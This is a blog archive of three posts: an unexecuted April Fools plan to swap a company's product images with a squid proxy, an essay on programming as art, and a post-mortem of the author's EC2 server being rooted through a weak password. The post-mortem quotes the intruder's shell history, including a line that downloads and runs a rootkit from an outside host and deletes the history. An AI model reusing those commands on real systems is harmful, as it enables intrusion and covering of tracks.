Archive for March 2010
Well, that time is upon us… time for April Fools. I’m not very good at coming up with good pranks, but a friend of mine, Chris Alef, gave me a great idea: swap all the product images on Backcountry.com for pictures of our management, provided at http://www.backcountrycorp.com/corporate/section/0/aboutus_team.html.
Pretty simple, and funny idea, but how do you make it work? It was a lot easier than I thought. The first idea was to use a proxy, and route all traffic from the office through the proxy. That seemed less than ideal — if the proxy went down, so would everyones web access. Orders would stop shipping, buyers would stop buying, and I would be in a lot of trouble. There had to be a less risky way to do it. Well, our images (all static content I guess) are hosted on content.backcountry.com. Limited to a single domain, eh? We have an internal DNS, so if we could get content.backcountry.com to just be a proxy, changing only a few images, we could just update the dns to use the proxy. Brilliant!
I started up an EC2 instance of Ubuntu, installed squid, and started configuring it. I followed relatively the same pattern as the Upside-Down-Ternet, using a redirector. In all, these are the configs I changed/used in /etc/squid/squid.conf:
redirect_children 20 http_access2 allow all http_port 80 accel defaultsite=content.backcountry.com vport=80 cache_peer content.backcountry.com parent 80 0 no-query originserver
where content.backcountry.com is the origin server (what to proxy), and /tmp/test.pl is the redirector. Without the redirector, this would be a completely transparent proxy to static content. Now, the redirector code:
#!/usr/bin/perl $|=1; @images = ( 'http://www.backcountrycorp.com/images/newsletter/2131.jpg', 'http://www.backcountrycorp.com/images/newsletter/2132.jpg', 'http://www.backcountrycorp.com/images/newsletter/2133.jpg', 'http://www.backcountrycorp.com/images/newsletter/2135.jpg', 'http://www.backcountrycorp.com/images/newsletter/2129.jpg', 'http://www.backcountrycorp.com/images/newsletter/2134.jpg', 'http://www.backcountrycorp.com/images/newsletter/2130.jpg', 'http://www.backcountrycorp.com/images/newsletter/2231.jpg', ); while (<>) { my $tmp = $_; if ($tmp =~ /images\/items\/medium/) { print $images[int rand(scalar @images )] . "\n"; } else { print $tmp; } }
Restart squid, and done! Now just test it by updating your /etc/hosts to add the ip of the proxy and content.backcountry.com. Behold, the result:
Jill looks good, doesn't she?
I ended up not doing it. I really didn’t feel it was worth losing my job by messing up. If I could have found a better way to do it than updating the DNS, even the internal one, I would have done it. But it was just too risky at my company. Oh well, now you all know how to do it 
I just got back form Elton John and Billy Joel, and while I was there it reminded me of something I’ve been thinking about for quite a while. Programming as an art form. I get a lot of inspiration from the arts — actually I first started thinking about this back in December when I went to “A Jon Schmidt Christmas”. I thought… this guy doesn’t have a chance to “make it big”, but he’s completely happy where he’s at. If he played in front of 10 people, he would be completely happy. Take that to Elton John and Billy Joel, and I think the same goes for them. They’re getting older. They don’t have to play music. But they do. They love to do it, they’re good at it, and that’s what makes them happy. So my question is, why can’t computer engineers do that? Are we really so technical, digging into the details, gathering requirements, making estimations, doing test-driven development, that we can’t express ourselves through code? Well, I think we can.
This might be where frameworks like Django and Ruby on Rails come into play. They allow you to make what you want, without the crap. When you have an idea, you can make it. You can express your ideas quickly and easily. You don’t worry about design patterns, because it’s all there for you. All that’s left to you is to “paint the picture”. Just hack it out, it doesn’t matter what the code looks like. Take a look at the most “artistic” programmers out there — the hax0rs of the world. Many of them are absolutely brilliant… but you wouldn’t think so in looking at their code. Heck, most of them don’t program object-orientedly — a must in the business world. They hack out a script that just does the job, and nothing more. I wouldn’t say that’s a bad thing. It does what it’s supposed to. What more is needed?
At any rate, I think that the longer I’m a programmer by profession, the further I get away artistic expression in programming. While I don’t think that “hacking out a solution” is a good idea for a business, I still think programmers need to do the quick hacks on their own, and make some that actually *does* something, with minimal effort. I want to be like Billy Joel when I get old and still be killing it when I’m 60, or be like one of my personal heroes, Woz. I don’t have the answer for how to get an old-timer like myself excited about that kind of thing, but when you figure it out let me know.
As you might know, there was a little bit of downtime… from December 28 to January 6th. First of all, sorry about that… I was doing a bunch of holiday stuff. At any rate, when I noticed the EC2 instance was unresponsive, I figured it was the fault of EC2. So, I just rebooted the instance and went on my merry way.
Flash forward to today. I got on my box to do some maintenance, and saw the following warning:
~/tmp$ ls > ls: unrecognized prefix: do > ls: unparsable value for LS_COLORS environment variable.
“Well that’s weird”, I thought to myself. I googled around the internet, and came to the conclusion I’d been rooted. Turns out, I was right.
Mistake #1
Now comes the fun part of all of these. I had to track down just *how* it happened. First thing that I did was went to /var/log/auth.log. I see brute force attacks all the time, and it totally fills up the logs, so I went to when made the most sense — around the time the site when down. That’s when I noticed this entry:
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: Accepted password for deploy from 92.82.99.209 port 2608 ssh2
Dec 28 14:03:25 ip-10-251-69-178 sshd[13661]: pam_unix(sshd:session): session opened for user deploy by (uid=0)
*slap*
I had forgotten I created a mostly temporary user named “deploy” with a weak password (umm… “deploy”). I thought it would be ok since that user had very little permissions — files I didn’t care about, no sudo access, etc. Boy, was I wrong. Which brings me to…
Mistake #2
Everyone always says keep your system up to date. I also think it’s a good practice. But do I? Of course not. I was using an outdated (non-updated) version of Ubuntu 8.10. Put yourself in the hax0rs shoes: if you were breaking into a box, had user access, the os was out of date, and you wanted root, how would you do it? A rootkit, of course! And that’s exactly what happened…
w
uname -a
id
sudo su
ls -a
cat .bash_history
cat /proc/cpuinfo
cat /etc/issue
cat /etc/hosts
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
ls -a
rm -rf .bash_history
wget http://members.lycos.co.uk/timisoara/l3.tar.gz;tar zxvf l3.tar.gz;cd linux-sendpage3;chmod 777 *;./run;id
sudo su -
A little sidenote… if he removed the bash_history, how did I get this command history? Look closely… whatever script it was, it “cd”ed into the linux-sendpage3 directory before it rm’ed the bash_history. Sucka . Anyways, there’s the rootkit, and him logging in as root with “sudo su -”.
He was root. OMG!
The next part seems kind of fuzzy to me as to what he did. I didn’t have any logs (root’s bash_history was clean), and there were no logs anywhere else on the system. What I did have was one thing: ls was acting funky. Surely he replaced it, so at least it would be a start. Upon further inspection, it was owned by the user 122, and group messagebus. Well, at least that’s a start!
root@ip-10-251-69-178:~/bin# find / -user 122
/usr/bin/pstree
/usr/bin/top
/usr/bin/md5sum
/usr/bin/find
/bin/ps
/bin/ls
/bin/netstat
/sbin/ttyload
/sbin/ttymon
/sbin/ifconfig
It looks like he changed a bunch of important files here, he certainly didn’t want me snooping into what he was doing. Those modifications hid all the files and processes he was using, of course. So my next step was to restore those files so I could dig deeper into what was going on. With EC2, that’s a piece of cake — I fired up another Ubuntu 8.10 ami, and copied over the binaries. Here’s where I got bottlenecked… I was getting some silly “Permission denied” error, even though I was root! lsattr to the rescue.
root@ip-10-251-69-178:~/bin# lsattr /bin/ls
s---ia------------- /bin/ls
Super-secret permissions! no!
root@ip-10-251-69-178:~/bin# chattr -sia /bin/ls; mv /tmp/ls.fix /bin/ls
Whew, that was a close one.
Next, I ran the ‘find’ command to see if other files had shown up, and indeed they did. Two directories — “/usr/lib/libsh” and “/lib/libsh.so” were owned by this guy. There were a few utility scripts in these directories to clean logs and such, and also some program named mirkforce — which looks like some irc bot. So, all of this for some stupid script kiddie? Augh, lame.
There were two other things that I got bored with and didn’t look into anymore — a crontab as root that executed “/dev/s/y2kupdate >/dev/null” every minute (thanks for keeping my computer updated), and some dbus process that hogged a bunch of resources.
At any rate, there were two things that came out of this:
- Don’t use easy passwords. Ever.
- Keep your systems up-to-date.
I’m sure this entire thing was automated, so I didn’t fear stolen information so much (not that there was any to give). He left all my data in place, so I just ditched the whole box, fired up another EC2 instance, and was running on a fresh install of Ubuntu 9.10 in about 10 minutes. Amazon Web Services win again!
